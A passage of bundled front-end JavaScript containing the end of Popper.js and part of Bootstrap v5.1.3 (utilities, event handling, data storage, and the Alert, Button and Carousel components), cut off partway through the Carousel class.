	  };
	}
	var createPopper$2 = popperGenerator();

	var defaultModifiers$1 = [eventListeners, popperOffsets$1, computeStyles$1, applyStyles$1];
	var createPopper$1 = popperGenerator({
	  defaultModifiers: defaultModifiers$1
	});

	var defaultModifiers = [eventListeners, popperOffsets$1, computeStyles$1, applyStyles$1, offset$1, flip$1, preventOverflow$1, arrow$1, hide$1];
	var createPopper = popperGenerator({
	  defaultModifiers: defaultModifiers
	});

	var Popper = /*#__PURE__*/Object.freeze({
		__proto__: null,
		popperGenerator: popperGenerator,
		detectOverflow: detectOverflow,
		createPopperBase: createPopper$2,
		createPopper: createPopper,
		createPopperLite: createPopper$1,
		top: top,
		bottom: bottom,
		right: right,
		left: left,
		auto: auto,
		basePlacements: basePlacements,
		start: start,
		end: end,
		clippingParents: clippingParents,
		viewport: viewport,
		popper: popper,
		reference: reference,
		variationPlacements: variationPlacements,
		placements: placements,
		beforeRead: beforeRead,
		read: read,
		afterRead: afterRead,
		beforeMain: beforeMain,
		main: main,
		afterMain: afterMain,
		beforeWrite: beforeWrite,
		write: write,
		afterWrite: afterWrite,
		modifierPhases: modifierPhases,
		applyStyles: applyStyles$1,
		arrow: arrow$1,
		computeStyles: computeStyles$1,
		eventListeners: eventListeners,
		flip: flip$1,
		hide: hide$1,
		offset: offset$1,
		popperOffsets: popperOffsets$1,
		preventOverflow: preventOverflow$1
	});

	/*!
	  * Bootstrap v5.1.3 (https://getbootstrap.com/)
	  * Copyright 2011-2021 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors)
	  * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)
	  */
	const MAX_UID = 1000000;
	const MILLISECONDS_MULTIPLIER = 1000;
	const TRANSITION_END = 'transitionend';
	const toType = obj => {
	  if (obj === null || obj === undefined) {
	    return `${obj}`;
	  }
	  return {}.toString.call(obj).match(/\s([a-z]+)/i)[1].toLowerCase();
	};
	const getUID = prefix => {
	  do {
	    prefix += Math.floor(Math.random() * MAX_UID);
	  } while (document.getElementById(prefix));
	  return prefix;
	};
	const getSelector = element => {
	  let selector = element.getAttribute('data-bs-target');
	  if (!selector || selector === '#') {
	    let hrefAttr = element.getAttribute('href');
	    if (!hrefAttr || !hrefAttr.includes('#') && !hrefAttr.startsWith('.')) {
	      return null;
	    }
	    if (hrefAttr.includes('#') && !hrefAttr.startsWith('#')) {
	      hrefAttr = `#${hrefAttr.split('#')[1]}`;
	    }
	    selector = hrefAttr && hrefAttr !== '#' ? hrefAttr.trim() : null;
	  }
	  return selector;
	};
	const getSelectorFromElement = element => {
	  const selector = getSelector(element);
	  if (selector) {
	    return document.querySelector(selector) ? selector : null;
	  }
	  return null;
	};
	const getElementFromSelector = element => {
	  const selector = getSelector(element);
	  return selector ? document.querySelector(selector) : null;
	};
	const getTransitionDurationFromElement = element => {
	  if (!element) {
	    return 0;
	  }
	  let {
	    transitionDuration,
	    transitionDelay
	  } = window.getComputedStyle(element);
	  const floatTransitionDuration = Number.parseFloat(transitionDuration);
	  const floatTransitionDelay = Number.parseFloat(transitionDelay);
	  if (!floatTransitionDuration && !floatTransitionDelay) {
	    return 0;
	  }
	  transitionDuration = transitionDuration.split(',')[0];
	  transitionDelay = transitionDelay.split(',')[0];
	  return (Number.parseFloat(transitionDuration) + Number.parseFloat(transitionDelay)) * MILLISECONDS_MULTIPLIER;
	};
	const triggerTransitionEnd = element => {
	  element.dispatchEvent(new Event(TRANSITION_END));
	};
	const isElement = obj => {
	  if (!obj || typeof obj !== 'object') {
	    return false;
	  }
	  if (typeof obj.jquery !== 'undefined') {
	    obj = obj[0];
	  }
	  return typeof obj.nodeType !== 'undefined';
	};
	const getElement = obj => {
	  if (isElement(obj)) {
	    return obj.jquery ? obj[0] : obj;
	  }
	  if (typeof obj === 'string' && obj.length > 0) {
	    return document.querySelector(obj);
	  }
	  return null;
	};
	const typeCheckConfig = (componentName, config, configTypes) => {
	  Object.keys(configTypes).forEach(property => {
	    const expectedTypes = configTypes[property];
	    const value = config[property];
	    const valueType = value && isElement(value) ? 'element' : toType(value);
	    if (!new RegExp(expectedTypes).test(valueType)) {
	      throw new TypeError(`${componentName.toUpperCase()}: Option "${property}" provided type "${valueType}" but expected type "${expectedTypes}".`);
	    }
	  });
	};
	const isVisible = element => {
	  if (!isElement(element) || element.getClientRects().length === 0) {
	    return false;
	  }
	  return getComputedStyle(element).getPropertyValue('visibility') === 'visible';
	};
	const isDisabled = element => {
	  if (!element || element.nodeType !== Node.ELEMENT_NODE) {
	    return true;
	  }
	  if (element.classList.contains('disabled')) {
	    return true;
	  }
	  if (typeof element.disabled !== 'undefined') {
	    return element.disabled;
	  }
	  return element.hasAttribute('disabled') && element.getAttribute('disabled') !== 'false';
	};
	const findShadowRoot = element => {
	  if (!document.documentElement.attachShadow) {
	    return null;
	  }
	  if (typeof element.getRootNode === 'function') {
	    const root = element.getRootNode();
	    return root instanceof ShadowRoot ? root : null;
	  }
	  if (element instanceof ShadowRoot) {
	    return element;
	  }
	  if (!element.parentNode) {
	    return null;
	  }
	  return findShadowRoot(element.parentNode);
	};
	const noop = () => {};
	const reflow = element => {
	  element.offsetHeight;
	};
	const getjQuery = () => {
	  const {
	    jQuery
	  } = window;
	  if (jQuery && !document.body.hasAttribute('data-bs-no-jquery')) {
	    return jQuery;
	  }
	  return null;
	};
	const DOMContentLoadedCallbacks = [];
	const onDOMContentLoaded = callback => {
	  if (document.readyState === 'loading') {
	    if (!DOMContentLoadedCallbacks.length) {
	      document.addEventListener('DOMContentLoaded', () => {
	        DOMContentLoadedCallbacks.forEach(callback => callback());
	      });
	    }
	    DOMContentLoadedCallbacks.push(callback);
	  } else {
	    callback();
	  }
	};
	const isRTL = () => document.documentElement.dir === 'rtl';
	const defineJQueryPlugin = plugin => {
	  onDOMContentLoaded(() => {
	    const $ = getjQuery();
	    if ($) {
	      const name = plugin.NAME;
	      const JQUERY_NO_CONFLICT = $.fn[name];
	      $.fn[name] = plugin.jQueryInterface;
	      $.fn[name].Constructor = plugin;
	      $.fn[name].noConflict = () => {
	        $.fn[name] = JQUERY_NO_CONFLICT;
	        return plugin.jQueryInterface;
	      };
	    }
	  });
	};
	const execute = callback => {
	  if (typeof callback === 'function') {
	    callback();
	  }
	};
	const executeAfterTransition = (callback, transitionElement, waitForTransition = true) => {
	  if (!waitForTransition) {
	    execute(callback);
	    return;
	  }
	  const durationPadding = 5;
	  const emulatedDuration = getTransitionDurationFromElement(transitionElement) + durationPadding;
	  let called = false;
	  const handler = ({
	    target
	  }) => {
	    if (target !== transitionElement) {
	      return;
	    }
	    called = true;
	    transitionElement.removeEventListener(TRANSITION_END, handler);
	    execute(callback);
	  };
	  transitionElement.addEventListener(TRANSITION_END, handler);
	  setTimeout(() => {
	    if (!called) {
	      triggerTransitionEnd(transitionElement);
	    }
	  }, emulatedDuration);
	};
	const getNextActiveElement = (list, activeElement, shouldGetNext, isCycleAllowed) => {
	  let index = list.indexOf(activeElement);
	  if (index === -1) {
	    return list[!shouldGetNext && isCycleAllowed ? list.length - 1 : 0];
	  }
	  const listLength = list.length;
	  index += shouldGetNext ? 1 : -1;
	  if (isCycleAllowed) {
	    index = (index + listLength) % listLength;
	  }
	  return list[Math.max(0, Math.min(index, listLength - 1))];
	};
	const namespaceRegex = /[^.]*(?=\..*)\.|.*/;
	const stripNameRegex = /\..*/;
	const stripUidRegex = /::\d+$/;
	const eventRegistry = {};
	let uidEvent = 1;
	const customEvents = {
	  mouseenter: 'mouseover',
	  mouseleave: 'mouseout'
	};
	const customEventsRegex = /^(mouseenter|mouseleave)/i;
	const nativeEvents = new Set(['click', 'dblclick', 'mouseup', 'mousedown', 'contextmenu', 'mousewheel', 'DOMMouseScroll', 'mouseover', 'mouseout', 'mousemove', 'selectstart', 'selectend', 'keydown', 'keypress', 'keyup', 'orientationchange', 'touchstart', 'touchmove', 'touchend', 'touchcancel', 'pointerdown', 'pointermove', 'pointerup', 'pointerleave', 'pointercancel', 'gesturestart', 'gesturechange', 'gestureend', 'focus', 'blur', 'change', 'reset', 'select', 'submit', 'focusin', 'focusout', 'load', 'unload', 'beforeunload', 'resize', 'move', 'DOMContentLoaded', 'readystatechange', 'error', 'abort', 'scroll']);
	function getUidEvent(element, uid) {
	  return uid && `${uid}::${uidEvent++}` || element.uidEvent || uidEvent++;
	}
	function getEvent(element) {
	  const uid = getUidEvent(element);
	  element.uidEvent = uid;
	  eventRegistry[uid] = eventRegistry[uid] || {};
	  return eventRegistry[uid];
	}
	function bootstrapHandler(element, fn) {
	  return function handler(event) {
	    event.delegateTarget = element;
	    if (handler.oneOff) {
	      EventHandler.off(element, event.type, fn);
	    }
	    return fn.apply(element, [event]);
	  };
	}
	function bootstrapDelegationHandler(element, selector, fn) {
	  return function handler(event) {
	    const domElements = element.querySelectorAll(selector);
	    for (let {
	      target
	    } = event; target && target !== this; target = target.parentNode) {
	      for (let i = domElements.length; i--;) {
	        if (domElements[i] === target) {
	          event.delegateTarget = target;
	          if (handler.oneOff) {
	            EventHandler.off(element, event.type, selector, fn);
	          }
	          return fn.apply(target, [event]);
	        }
	      }
	    }
	    return null;
	  };
	}
	function findHandler(events, handler, delegationSelector = null) {
	  const uidEventList = Object.keys(events);
	  for (let i = 0, len = uidEventList.length; i < len; i++) {
	    const event = events[uidEventList[i]];
	    if (event.originalHandler === handler && event.delegationSelector === delegationSelector) {
	      return event;
	    }
	  }
	  return null;
	}
	function normalizeParams(originalTypeEvent, handler, delegationFn) {
	  const delegation = typeof handler === 'string';
	  const originalHandler = delegation ? delegationFn : handler;
	  let typeEvent = getTypeEvent(originalTypeEvent);
	  const isNative = nativeEvents.has(typeEvent);
	  if (!isNative) {
	    typeEvent = originalTypeEvent;
	  }
	  return [delegation, originalHandler, typeEvent];
	}
	function addHandler(element, originalTypeEvent, handler, delegationFn, oneOff) {
	  if (typeof originalTypeEvent !== 'string' || !element) {
	    return;
	  }
	  if (!handler) {
	    handler = delegationFn;
	    delegationFn = null;
	  }
	  if (customEventsRegex.test(originalTypeEvent)) {
	    const wrapFn = fn => {
	      return function (event) {
	        if (!event.relatedTarget || event.relatedTarget !== event.delegateTarget && !event.delegateTarget.contains(event.relatedTarget)) {
	          return fn.call(this, event);
	        }
	      };
	    };
	    if (delegationFn) {
	      delegationFn = wrapFn(delegationFn);
	    } else {
	      handler = wrapFn(handler);
	    }
	  }
	  const [delegation, originalHandler, typeEvent] = normalizeParams(originalTypeEvent, handler, delegationFn);
	  const events = getEvent(element);
	  const handlers = events[typeEvent] || (events[typeEvent] = {});
	  const previousFn = findHandler(handlers, originalHandler, delegation ? handler : null);
	  if (previousFn) {
	    previousFn.oneOff = previousFn.oneOff && oneOff;
	    return;
	  }
	  const uid = getUidEvent(originalHandler, originalTypeEvent.replace(namespaceRegex, ''));
	  const fn = delegation ? bootstrapDelegationHandler(element, handler, delegationFn) : bootstrapHandler(element, handler);
	  fn.delegationSelector = delegation ? handler : null;
	  fn.originalHandler = originalHandler;
	  fn.oneOff = oneOff;
	  fn.uidEvent = uid;
	  handlers[uid] = fn;
	  element.addEventListener(typeEvent, fn, delegation);
	}
	function removeHandler(element, events, typeEvent, handler, delegationSelector) {
	  const fn = findHandler(events[typeEvent], handler, delegationSelector);
	  if (!fn) {
	    return;
	  }
	  element.removeEventListener(typeEvent, fn, Boolean(delegationSelector));
	  delete events[typeEvent][fn.uidEvent];
	}
	function removeNamespacedHandlers(element, events, typeEvent, namespace) {
	  const storeElementEvent = events[typeEvent] || {};
	  Object.keys(storeElementEvent).forEach(handlerKey => {
	    if (handlerKey.includes(namespace)) {
	      const event = storeElementEvent[handlerKey];
	      removeHandler(element, events, typeEvent, event.originalHandler, event.delegationSelector);
	    }
	  });
	}
	function getTypeEvent(event) {
	  event = event.replace(stripNameRegex, '');
	  return customEvents[event] || event;
	}
	const EventHandler = {
	  on(element, event, handler, delegationFn) {
	    addHandler(element, event, handler, delegationFn, false);
	  },
	  one(element, event, handler, delegationFn) {
	    addHandler(element, event, handler, delegationFn, true);
	  },
	  off(element, originalTypeEvent, handler, delegationFn) {
	    if (typeof originalTypeEvent !== 'string' || !element) {
	      return;
	    }
	    const [delegation, originalHandler, typeEvent] = normalizeParams(originalTypeEvent, handler, delegationFn);
	    const inNamespace = typeEvent !== originalTypeEvent;
	    const events = getEvent(element);
	    const isNamespace = originalTypeEvent.startsWith('.');
	    if (typeof originalHandler !== 'undefined') {
	      if (!events || !events[typeEvent]) {
	        return;
	      }
	      removeHandler(element, events, typeEvent, originalHandler, delegation ? handler : null);
	      return;
	    }
	    if (isNamespace) {
	      Object.keys(events).forEach(elementEvent => {
	        removeNamespacedHandlers(element, events, elementEvent, originalTypeEvent.slice(1));
	      });
	    }
	    const storeElementEvent = events[typeEvent] || {};
	    Object.keys(storeElementEvent).forEach(keyHandlers => {
	      const handlerKey = keyHandlers.replace(stripUidRegex, '');
	      if (!inNamespace || originalTypeEvent.includes(handlerKey)) {
	        const event = storeElementEvent[keyHandlers];
	        removeHandler(element, events, typeEvent, event.originalHandler, event.delegationSelector);
	      }
	    });
	  },
	  trigger(element, event, args) {
	    if (typeof event !== 'string' || !element) {
	      return null;
	    }
	    const $ = getjQuery();
	    const typeEvent = getTypeEvent(event);
	    const inNamespace = event !== typeEvent;
	    const isNative = nativeEvents.has(typeEvent);
	    let jQueryEvent;
	    let bubbles = true;
	    let nativeDispatch = true;
	    let defaultPrevented = false;
	    let evt = null;
	    if (inNamespace && $) {
	      jQueryEvent = $.Event(event, args);
	      $(element).trigger(jQueryEvent);
	      bubbles = !jQueryEvent.isPropagationStopped();
	      nativeDispatch = !jQueryEvent.isImmediatePropagationStopped();
	      defaultPrevented = jQueryEvent.isDefaultPrevented();
	    }
	    if (isNative) {
	      evt = document.createEvent('HTMLEvents');
	      evt.initEvent(typeEvent, bubbles, true);
	    } else {
	      evt = new CustomEvent(event, {
	        bubbles,
	        cancelable: true
	      });
	    }
	    if (typeof args !== 'undefined') {
	      Object.keys(args).forEach(key => {
	        Object.defineProperty(evt, key, {
	          get() {
	            return args[key];
	          }
	        });
	      });
	    }
	    if (defaultPrevented) {
	      evt.preventDefault();
	    }
	    if (nativeDispatch) {
	      element.dispatchEvent(evt);
	    }
	    if (evt.defaultPrevented && typeof jQueryEvent !== 'undefined') {
	      jQueryEvent.preventDefault();
	    }
	    return evt;
	  }
	};
	const elementMap = new Map();
	const Data = {
	  set(element, key, instance) {
	    if (!elementMap.has(element)) {
	      elementMap.set(element, new Map());
	    }
	    const instanceMap = elementMap.get(element);
	    if (!instanceMap.has(key) && instanceMap.size !== 0) {
	      console.error(`Bootstrap doesn't allow more than one instance per element. Bound instance: ${Array.from(instanceMap.keys())[0]}.`);
	      return;
	    }
	    instanceMap.set(key, instance);
	  },
	  get(element, key) {
	    if (elementMap.has(element)) {
	      return elementMap.get(element).get(key) || null;
	    }
	    return null;
	  },
	  remove(element, key) {
	    if (!elementMap.has(element)) {
	      return;
	    }
	    const instanceMap = elementMap.get(element);
	    instanceMap.delete(key);
	    if (instanceMap.size === 0) {
	      elementMap.delete(element);
	    }
	  }
	};
	const VERSION = '5.1.3';
	class BaseComponent {
	  constructor(element) {
	    element = getElement(element);
	    if (!element) {
	      return;
	    }
	    this._element = element;
	    Data.set(this._element, this.constructor.DATA_KEY, this);
	  }
	  dispose() {
	    Data.remove(this._element, this.constructor.DATA_KEY);
	    EventHandler.off(this._element, this.constructor.EVENT_KEY);
	    Object.getOwnPropertyNames(this).forEach(propertyName => {
	      this[propertyName] = null;
	    });
	  }
	  _queueCallback(callback, element, isAnimated = true) {
	    executeAfterTransition(callback, element, isAnimated);
	  }
	  static getInstance(element) {
	    return Data.get(getElement(element), this.DATA_KEY);
	  }
	  static getOrCreateInstance(element, config = {}) {
	    return this.getInstance(element) || new this(element, typeof config === 'object' ? config : null);
	  }
	  static get VERSION() {
	    return VERSION;
	  }
	  static get NAME() {
	    throw new Error('You have to implement the static method "NAME", for each component!');
	  }
	  static get DATA_KEY() {
	    return `bs.${this.NAME}`;
	  }
	  static get EVENT_KEY() {
	    return `.${this.DATA_KEY}`;
	  }
	}
	const enableDismissTrigger = (component, method = 'hide') => {
	  const clickEvent = `click.dismiss${component.EVENT_KEY}`;
	  const name = component.NAME;
	  EventHandler.on(document, clickEvent, `[data-bs-dismiss="${name}"]`, function (event) {
	    if (['A', 'AREA'].includes(this.tagName)) {
	      event.preventDefault();
	    }
	    if (isDisabled(this)) {
	      return;
	    }
	    const target = getElementFromSelector(this) || this.closest(`.${name}`);
	    const instance = component.getOrCreateInstance(target);
	    instance[method]();
	  });
	};
	const NAME$d = 'alert';
	const DATA_KEY$c = 'bs.alert';
	const EVENT_KEY$c = `.${DATA_KEY$c}`;
	const EVENT_CLOSE = `close${EVENT_KEY$c}`;
	const EVENT_CLOSED = `closed${EVENT_KEY$c}`;
	const CLASS_NAME_FADE$5 = 'fade';
	const CLASS_NAME_SHOW$8 = 'show';
	class Alert extends BaseComponent {
	  static get NAME() {
	    return NAME$d;
	  }
	  close() {
	    const closeEvent = EventHandler.trigger(this._element, EVENT_CLOSE);
	    if (closeEvent.defaultPrevented) {
	      return;
	    }
	    this._element.classList.remove(CLASS_NAME_SHOW$8);
	    const isAnimated = this._element.classList.contains(CLASS_NAME_FADE$5);
	    this._queueCallback(() => this._destroyElement(), this._element, isAnimated);
	  }
	  _destroyElement() {
	    this._element.remove();
	    EventHandler.trigger(this._element, EVENT_CLOSED);
	    this.dispose();
	  }
	  static jQueryInterface(config) {
	    return this.each(function () {
	      const data = Alert.getOrCreateInstance(this);
	      if (typeof config !== 'string') {
	        return;
	      }
	      if (data[config] === undefined || config.startsWith('_') || config === 'constructor') {
	        throw new TypeError(`No method named "${config}"`);
	      }
	      data[config](this);
	    });
	  }
	}
	enableDismissTrigger(Alert, 'close');
	defineJQueryPlugin(Alert);
	const NAME$c = 'button';
	const DATA_KEY$b = 'bs.button';
	const EVENT_KEY$b = `.${DATA_KEY$b}`;
	const DATA_API_KEY$7 = '.data-api';
	const CLASS_NAME_ACTIVE$3 = 'active';
	const SELECTOR_DATA_TOGGLE$5 = '[data-bs-toggle="button"]';
	const EVENT_CLICK_DATA_API$6 = `click${EVENT_KEY$b}${DATA_API_KEY$7}`;
	class Button extends BaseComponent {
	  static get NAME() {
	    return NAME$c;
	  }
	  toggle() {
	    this._element.setAttribute('aria-pressed', this._element.classList.toggle(CLASS_NAME_ACTIVE$3));
	  }
	  static jQueryInterface(config) {
	    return this.each(function () {
	      const data = Button.getOrCreateInstance(this);
	      if (config === 'toggle') {
	        data[config]();
	      }
	    });
	  }
	}
	EventHandler.on(document, EVENT_CLICK_DATA_API$6, SELECTOR_DATA_TOGGLE$5, event => {
	  event.preventDefault();
	  const button = event.target.closest(SELECTOR_DATA_TOGGLE$5);
	  const data = Button.getOrCreateInstance(button);
	  data.toggle();
	});
	defineJQueryPlugin(Button);
	function normalizeData(val) {
	  if (val === 'true') {
	    return true;
	  }
	  if (val === 'false') {
	    return false;
	  }
	  if (val === Number(val).toString()) {
	    return Number(val);
	  }
	  if (val === '' || val === 'null') {
	    return null;
	  }
	  return val;
	}
	function normalizeDataKey(key) {
	  return key.replace(/[A-Z]/g, chr => `-${chr.toLowerCase()}`);
	}
	const Manipulator = {
	  setDataAttribute(element, key, value) {
	    element.setAttribute(`data-bs-${normalizeDataKey(key)}`, value);
	  },
	  removeDataAttribute(element, key) {
	    element.removeAttribute(`data-bs-${normalizeDataKey(key)}`);
	  },
	  getDataAttributes(element) {
	    if (!element) {
	      return {};
	    }
	    const attributes = {};
	    Object.keys(element.dataset).filter(key => key.startsWith('bs')).forEach(key => {
	      let pureKey = key.replace(/^bs/, '');
	      pureKey = pureKey.charAt(0).toLowerCase() + pureKey.slice(1, pureKey.length);
	      attributes[pureKey] = normalizeData(element.dataset[key]);
	    });
	    return attributes;
	  },
	  getDataAttribute(element, key) {
	    return normalizeData(element.getAttribute(`data-bs-${normalizeDataKey(key)}`));
	  },
	  offset(element) {
	    const rect = element.getBoundingClientRect();
	    return {
	      top: rect.top + window.pageYOffset,
	      left: rect.left + window.pageXOffset
	    };
	  },
	  position(element) {
	    return {
	      top: element.offsetTop,
	      left: element.offsetLeft
	    };
	  }
	};
	const NODE_TEXT = 3;
	const SelectorEngine = {
	  find(selector, element = document.documentElement) {
	    return [].concat(...Element.prototype.querySelectorAll.call(element, selector));
	  },
	  findOne(selector, element = document.documentElement) {
	    return Element.prototype.querySelector.call(element, selector);
	  },
	  children(element, selector) {
	    return [].concat(...element.children).filter(child => child.matches(selector));
	  },
	  parents(element, selector) {
	    const parents = [];
	    let ancestor = element.parentNode;
	    while (ancestor && ancestor.nodeType === Node.ELEMENT_NODE && ancestor.nodeType !== NODE_TEXT) {
	      if (ancestor.matches(selector)) {
	        parents.push(ancestor);
	      }
	      ancestor = ancestor.parentNode;
	    }
	    return parents;
	  },
	  prev(element, selector) {
	    let previous = element.previousElementSibling;
	    while (previous) {
	      if (previous.matches(selector)) {
	        return [previous];
	      }
	      previous = previous.previousElementSibling;
	    }
	    return [];
	  },
	  next(element, selector) {
	    let next = element.nextElementSibling;
	    while (next) {
	      if (next.matches(selector)) {
	        return [next];
	      }
	      next = next.nextElementSibling;
	    }
	    return [];
	  },
	  focusableChildren(element) {
	    const focusables = ['a', 'button', 'input', 'textarea', 'select', 'details', '[tabindex]', '[contenteditable="true"]'].map(selector => `${selector}:not([tabindex^="-"])`).join(', ');
	    return this.find(focusables, element).filter(el => !isDisabled(el) && isVisible(el));
	  }
	};
	const NAME$b = 'carousel';
	const DATA_KEY$a = 'bs.carousel';
	const EVENT_KEY$a = `.${DATA_KEY$a}`;
	const DATA_API_KEY$6 = '.data-api';
	const ARROW_LEFT_KEY = 'ArrowLeft';
	const ARROW_RIGHT_KEY = 'ArrowRight';
	const TOUCHEVENT_COMPAT_WAIT = 500;
	const SWIPE_THRESHOLD = 40;
	const Default$a = {
	  interval: 5000,
	  keyboard: true,
	  slide: false,
	  pause: 'hover',
	  wrap: true,
	  touch: true
	};
	const DefaultType$a = {
	  interval: '(number|boolean)',
	  keyboard: 'boolean',
	  slide: '(boolean|string)',
	  pause: '(string|boolean)',
	  wrap: 'boolean',
	  touch: 'boolean'
	};
	const ORDER_NEXT = 'next';
	const ORDER_PREV = 'prev';
	const DIRECTION_LEFT = 'left';
	const DIRECTION_RIGHT = 'right';
	const KEY_TO_DIRECTION = {
	  [ARROW_LEFT_KEY]: DIRECTION_RIGHT,
	  [ARROW_RIGHT_KEY]: DIRECTION_LEFT
	};
	const EVENT_SLIDE = `slide${EVENT_KEY$a}`;
	const EVENT_SLID = `slid${EVENT_KEY$a}`;
	const EVENT_KEYDOWN = `keydown${EVENT_KEY$a}`;
	const EVENT_MOUSEENTER = `mouseenter${EVENT_KEY$a}`;
	const EVENT_MOUSELEAVE = `mouseleave${EVENT_KEY$a}`;
	const EVENT_TOUCHSTART = `touchstart${EVENT_KEY$a}`;
	const EVENT_TOUCHMOVE = `touchmove${EVENT_KEY$a}`;
	const EVENT_TOUCHEND = `touchend${EVENT_KEY$a}`;
	const EVENT_POINTERDOWN = `pointerdown${EVENT_KEY$a}`;
	const EVENT_POINTERUP = `pointerup${EVENT_KEY$a}`;
	const EVENT_DRAG_START = `dragstart${EVENT_KEY$a}`;
	const EVENT_LOAD_DATA_API$2 = `load${EVENT_KEY$a}${DATA_API_KEY$6}`;
	const EVENT_CLICK_DATA_API$5 = `click${EVENT_KEY$a}${DATA_API_KEY$6}`;
	const CLASS_NAME_CAROUSEL = 'carousel';
	const CLASS_NAME_ACTIVE$2 = 'active';
	const CLASS_NAME_SLIDE = 'slide';
	const CLASS_NAME_END = 'carousel-item-end';
	const CLASS_NAME_START = 'carousel-item-start';
	const CLASS_NAME_NEXT = 'carousel-item-next';
	const CLASS_NAME_PREV = 'carousel-item-prev';
	const CLASS_NAME_POINTER_EVENT = 'pointer-event';
	const SELECTOR_ACTIVE$1 = '.active';
	const SELECTOR_ACTIVE_ITEM = '.active.carousel-item';
	const SELECTOR_ITEM = '.carousel-item';
	const SELECTOR_ITEM_IMG = '.carousel-item img';
	const SELECTOR_NEXT_PREV = '.carousel-item-next, .carousel-item-prev';
	const SELECTOR_INDICATORS = '.carousel-indicators';
	const SELECTOR_INDICATOR = '[data-bs-target]';
	const SELECTOR_DATA_SLIDE = '[data-bs-slide], [data-bs-slide-to]';
	const SELECTOR_DATA_RIDE = '[data-bs-ride="carousel"]';
	const POINTER_TYPE_TOUCH = 'touch';
	const POINTER_TYPE_PEN = 'pen';
	class Carousel extends BaseComponent {
	  constructor(element, config) {
	    super(element);
	    this._items = null;
	    this._interval = null;
	    this._activeElement = null;
	    this._isPaused = false;
	    this._isSliding = false;
	    this.touchTimeout = null;
	    this.touchStartX = 0;
	    this.touchDeltaX = 0;
	    this._config = this._getConfig(config);
	    this._indicatorsElement = SelectorEngine.findOne(SELECTOR_INDICATORS, this._element);
	    this._touchSupported = 'ontouchstart' in document.documentElement || navigator.maxTouchPoints > 0;
	    this._pointerEvent = Boolean(window.PointerEvent);
	    this._addEventListeners();
	  }
	  static get Default() {
	    return Default$a;
	  }
	  static get NAME() {
	    return NAME$b;
	  }
	  next() {
	    this._slide(ORDER_NEXT);
	  }
	  nextWhenVisible() {
	    if (!document.hidden && isVisible(this._element)) {
	      this.next();
	    }
	  }
	  prev() {
	    this._slide(ORDER_PREV);
	  }
	  pause(event) {
	    if (!event) {
	      this._isPaused = true;
	    }
	    if (SelectorEngine.findOne(SELECTOR_NEXT_PREV, this._element)) {
	      triggerTransitionEnd(this._element);
	      this.cycle(true);
	    }
	    clearInterval(this._interval);
	    this._interval = null;
	  }
	  cycle(event) {
	    if (!event) {
	      this._isPaused = false;
	    }
	    if (this._interval) {
	      clearInterval(this._interval);
	      this._interval = null;
	    }
	    if (this._config && this._config.interval && !this._isPaused) {
	      this._updateInterval();
	      this._interval = setInterval((document.visibilityState ? this.nextWhenVisible : this.next).bind(this), this._config.interval);
	    }
	  }
	  to(index) {
	    this._activeElement = SelectorEngine.findOne(SELECTOR_ACTIVE_ITEM, this._element);
	    const activeIndex = this._getItemIndex(this._activeElement);
	    if (index > this._items.length - 1 || index < 0) {
	      return;
	    }
	    if (this._isSliding) {
	      EventHandler.one(this._element, EVENT_SLID, () => this.to(index));
	      return;
	    }
	    if (activeIndex === index) {
	      this.pause();
	      this.cycle();
	      return;
	    }
	    const order = index > activeIndex ? ORDER_NEXT : ORDER_PREV;
	    this._slide(order, this._items[index]);
	  }
	  _getConfig(config) {
	    config = { ...Default$a,
	      ...Manipulator.getDataAttributes(this._element),
	      ...(typeof config === 'object' ? config : {})
	    };
	    typeCheckConfig(NAME$b, config, DefaultType$a);
	    return config;
	  }
	  _handleSwipe() {
	    const absDeltax = Math.abs(this.touchDeltaX);
	    if (absDeltax <= SWIPE_THRESHOLD) {
	      return;
	    }
	    const direction = absDeltax / this.touchDeltaX;
	    this.touchDeltaX = 0;
	    if (!direction) {
	      return;
	    }
	    this._slide(direction > 0 ? DIRECTION_RIGHT : DIRECTION_LEFT);
	  }
	  _addEventListeners() {
	    if (this._config.keyboard) {
	      EventHandler.on(this._element, EVENT_KEYDOWN, event => this._keydown(event));
	    }
	    if (this._config.pause === 'hover') {
	      EventHandler.on(this._element, EVENT_MOUSEENTER, event => this.pause(event));
	      EventHandler.on(this._element, EVENT_MOUSELEAVE, event => this.cycle(event));
	    }
	    if (this._config.touch && this._touchSupported) {
	      this._addTouchEventListeners();
	    }
	  }
	  _addTouchEventListeners() {
	    const hasPointerPenTouch = event => {
	      return this._pointerEvent && (event.pointerType === POINTER_TYPE_PEN || event.pointerType === POINTER_TYPE_TOUCH);
	    };
	    const start = event => {
	      if (hasPointerPenTouch(event)) {
	        this.touchStartX = event.clientX;
	      } else if (!this._pointerEvent) {
	        this.touchStartX = event.touches[0].clientX;
	      }
	    };
	    const move = event => {
	      this.touchDeltaX = event.touches && event.touches.length > 1 ? 0 : event.touches[0].clientX - this.touchStartX;
	    };
	    const end = event => {
	      if (hasPointerPenTouch(event)) {
	        this.touchDeltaX = event.clientX - this.touchStartX;
	      }
	      this._handleSwipe();
	      if (this._config.pause === 'hover') {
	        this.pause();
	        if (this.touchTimeout) {
	          clearTimeout(this.touchTimeout);
	        }
	        this.touchTimeout = setTimeout(event => this.cycle(event), TOUCHEVENT_COMPAT_WAIT + this._config.interval);
	      }
	    };
	    SelectorEngine.find(SELECTOR_ITEM_IMG, this._element).forEach(itemImg => {
	      EventHandler.on(itemImg, EVENT_DRAG_START, event => event.preventDefault());
	    });
	    if (this._pointerEvent) {
	      EventHandler.on(this._element, EVENT_POINTERDOWN, event => start(event));
	      EventHandler.on(this._element, EVENT_POINTERUP, event => end(event));
	      this._element.classList.add(CLASS_NAME_POINTER_EVENT);
	    } else {
	      EventHandler.on(this._element, EVENT_TOUCHSTART, event => start(event));
	      EventHandler.on(this._element, EVENT_TOUCHMOVE, event => move(event));
	      EventHandler.on(this._element, EVENT_TOUCHEND, event => end(event));
	    }
	  }
	  _keydown(event) {
	    if (/input|textarea/i.test(event.target.tagName)) {
	      return;
	    }
	    const direction = KEY_TO_DIRECTION[event.key];
	    if (direction) {
	      event.preventDefault();
	      this._slide(direction);
	    }
	  }
	  _getItemIndex(element) {
	    this._items = element && element.parentNode ? SelectorEngine.find(SELECTOR_ITEM, element.parentNode) : [];
	    return this._items.indexOf(element);
	  }
	  _getItemByOrder(order, activeElement) {
	    const isNext = order === ORDER_NEXT;
	    return getNextActiveElement(this._items, activeElement, isNext, this._config.wrap);
	  }
	  _triggerSlideEvent(relatedTarget, eventDirectionName) {
